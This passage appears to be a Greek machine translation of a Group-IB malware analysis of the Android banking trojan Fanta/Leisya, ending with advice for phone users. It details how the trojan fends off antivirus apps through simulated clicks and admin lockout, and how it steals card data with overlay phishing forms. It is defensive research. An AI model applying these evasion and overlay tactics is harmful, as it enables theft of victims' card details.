    · εάν ο χρήστης θέλει να διαγράψει την εφαρμογή «Avito» ή να αλλάξει δικαιώματα πρόσβασης
    · εάν υπάρχει αναφορά στην εφαρμογή «Avito» στη σελίδα
    · κατά το άνοιγμα της εφαρμογής Google Play Protect
    · όταν ανοίγετε σελίδες με ρυθμίσεις AccessibilityService
    · όταν εμφανιστεί το πλαίσιο διαλόγου Ασφάλεια συστήματος
    · όταν ανοίγετε τη σελίδα με τις ρυθμίσεις "Σχεδίαση πάνω από άλλη εφαρμογή".
    · κατά το άνοιγμα της σελίδας «Εφαρμογές», «Ανάκτηση και επαναφορά», «Επαναφορά δεδομένων», «Επαναφορά ρυθμίσεων», «Πίνακας προγραμματιστών», «Ειδική. ευκαιρίες», «Ειδικές ευκαιρίες», «Ειδικά δικαιώματα»
    · εάν το συμβάν δημιουργήθηκε από ορισμένες εφαρμογές.

    Κατάλογος εφαρμογών

    • android
    • Master Lite
    • Καθαρός κύριος
    • Clean Master για επεξεργαστή x86
    • Διαχείριση αδειών εφαρμογής Meizu
    • Ασφάλεια MIUI
    • Clean Master - Antivirus & Cache and Garbage Cleaner
    • Γονικοί έλεγχοι και GPS: Kaspersky SafeKids
    • Kaspersky Antivirus AppLock & Web Security Beta
    • Καθαριστικό ιών, Antivirus, Cleaner (MAX Security)
    • Mobile Antivirus Security PRO
    • Avast antivirus & δωρεάν προστασία 2019
    • Mobile Security MegaFon
    • Προστασία AVG για Xperia
    • Mobile Security
    • Malwarebytes Antivirus & Protection
    • Antivirus για Android 2019
    • Security Master - Antivirus, VPN, AppLock, Booster
    • Antivirus AVG για Huawei tablet System Manager
    • Προσβασιμότητα Samsung
    • Samsung Smart Manager
    • Κύριος ασφαλείας
    • Ενισχυτικό ταχύτητας
    • Dr.Web
    • Dr.Web Security Space
    • Κέντρο ελέγχου Dr.Web Mobile
    • Dr.Web Security Space Life
    • Κέντρο ελέγχου Dr.Web Mobile
    • Antivirus & Mobile Security
    • Kaspersky Internet Security: Antivirus και προστασία
    • Kaspersky Battery Life: Saver & Booster
    • Kaspersky Endpoint Security - προστασία και διαχείριση
    • AVG Antivirus δωρεάν 2019 – Προστασία για Android
    • antivirus Android
    • Norton Mobile Security και Antivirus
    • Antivirus, τείχος προστασίας, VPN, ασφάλεια κινητής τηλεφωνίας
    • Mobile Security: antivirus, VPN, προστασία από κλοπή
    • Antivirus για Android

  • Εάν ζητηθεί άδεια κατά την αποστολή μηνύματος SMS σε έναν σύντομο αριθμό, το Fanta προσομοιώνει κάνοντας κλικ στο πλαίσιο ελέγχου Θυμηθείτε την επιλογή και κουμπί να στείλετε.
  • Όταν προσπαθείτε να αφαιρέσετε τα δικαιώματα διαχειριστή από το Trojan, κλειδώνει την οθόνη του τηλεφώνου.
  • Αποτρέπει την προσθήκη νέων διαχειριστών.
  • Εάν η εφαρμογή προστασίας από ιούς dr.web ανίχνευσε μια απειλή, η Fanta μιμείται το πάτημα του κουμπιού αγνοώ.
  • Το Trojan προσομοιώνει το πάτημα του κουμπιού επιστροφής και αρχικής οθόνης εάν το συμβάν δημιουργήθηκε από την εφαρμογή Samsung Device Care.
  • Η Fanta δημιουργεί παράθυρα phishing με φόρμες για την εισαγωγή πληροφοριών σχετικά με τραπεζικές κάρτες, εάν εκκινούσε μια εφαρμογή από μια λίστα με περίπου 30 διαφορετικές υπηρεσίες Διαδικτύου. Μεταξύ αυτών: AliExpress, Booking, Avito, Google Play Market Component, Pandao, Drom Auto κ.λπ.

    Φόρμες phishing

    Η Fanta αναλύει ποιες εφαρμογές εκτελούνται στη μολυσμένη συσκευή. Εάν ανοίξει μια εφαρμογή ενδιαφέροντος, το Trojan εμφανίζει ένα παράθυρο phishing πάνω από όλα τα άλλα, το οποίο είναι μια φόρμα για την εισαγωγή στοιχείων τραπεζικής κάρτας. Ο χρήστης πρέπει να εισάγει τα ακόλουθα δεδομένα:

    • Αριθμός κάρτας
    • Ημερομηνία Λήξης Ισχύος Κάρτας
    • CVV
    • Όνομα κατόχου κάρτας (όχι για όλες τις τράπεζες)

    Ανάλογα με την εφαρμογή που εκτελείται, θα εμφανιστούν διαφορετικά παράθυρα phishing. Παρακάτω είναι παραδείγματα μερικών από αυτά:

    Aliexpress:

    Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
    Avito:

    Leisya, Fanta: νέες τακτικές του παλιού Android Trojan
    Για κάποιες άλλες εφαρμογές, π.χ. Google Play Market, Aviasales, Pandao, Booking, Trivago:
    Leisya, Fanta: νέες τακτικές του παλιού Android Trojan

    Πώς ήταν πραγματικά

    Ευτυχώς, το άτομο που έλαβε το μήνυμα SMS που περιγράφεται στην αρχή του άρθρου αποδείχθηκε ότι ήταν ειδικός στον κυβερνοχώρο. Ως εκ τούτου, η πραγματική, μη σκηνοθετική εκδοχή διαφέρει από αυτή που ειπώθηκε νωρίτερα: ένα άτομο έλαβε ένα ενδιαφέρον SMS, μετά το οποίο το έδωσε στην ομάδα Πληροφοριών Group-IB Threat Hunting. Το αποτέλεσμα της επίθεσης είναι αυτό το άρθρο. Καλό τέλος, σωστά; Ωστόσο, δεν τελειώνουν όλες οι ιστορίες τόσο επιτυχώς και για να μην μοιάζει η δική σας με σκηνοθετική απώλεια με απώλεια χρημάτων, στις περισσότερες περιπτώσεις αρκεί να τηρείτε τους ακόλουθους εκτενώς περιγραφόμενους κανόνες:

    • μην εγκαθιστάτε εφαρμογές για φορητή συσκευή με λειτουργικό σύστημα Android από άλλες πηγές εκτός από το Google Play
    • Κατά την εγκατάσταση μιας εφαρμογής, δώστε ιδιαίτερη προσοχή στα δικαιώματα που ζητά η εφαρμογή
    • δώστε προσοχή στις επεκτάσεις των ληφθέντων αρχείων
    • εγκαθιστάτε τακτικά ενημερώσεις του λειτουργικού συστήματος Android
    • μην επισκέπτεστε ύποπτους πόρους και μην κάνετε λήψη αρχείων από εκεί
    • Μην κάνετε κλικ σε συνδέσμους που λαμβάνονται σε μηνύματα SMS.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο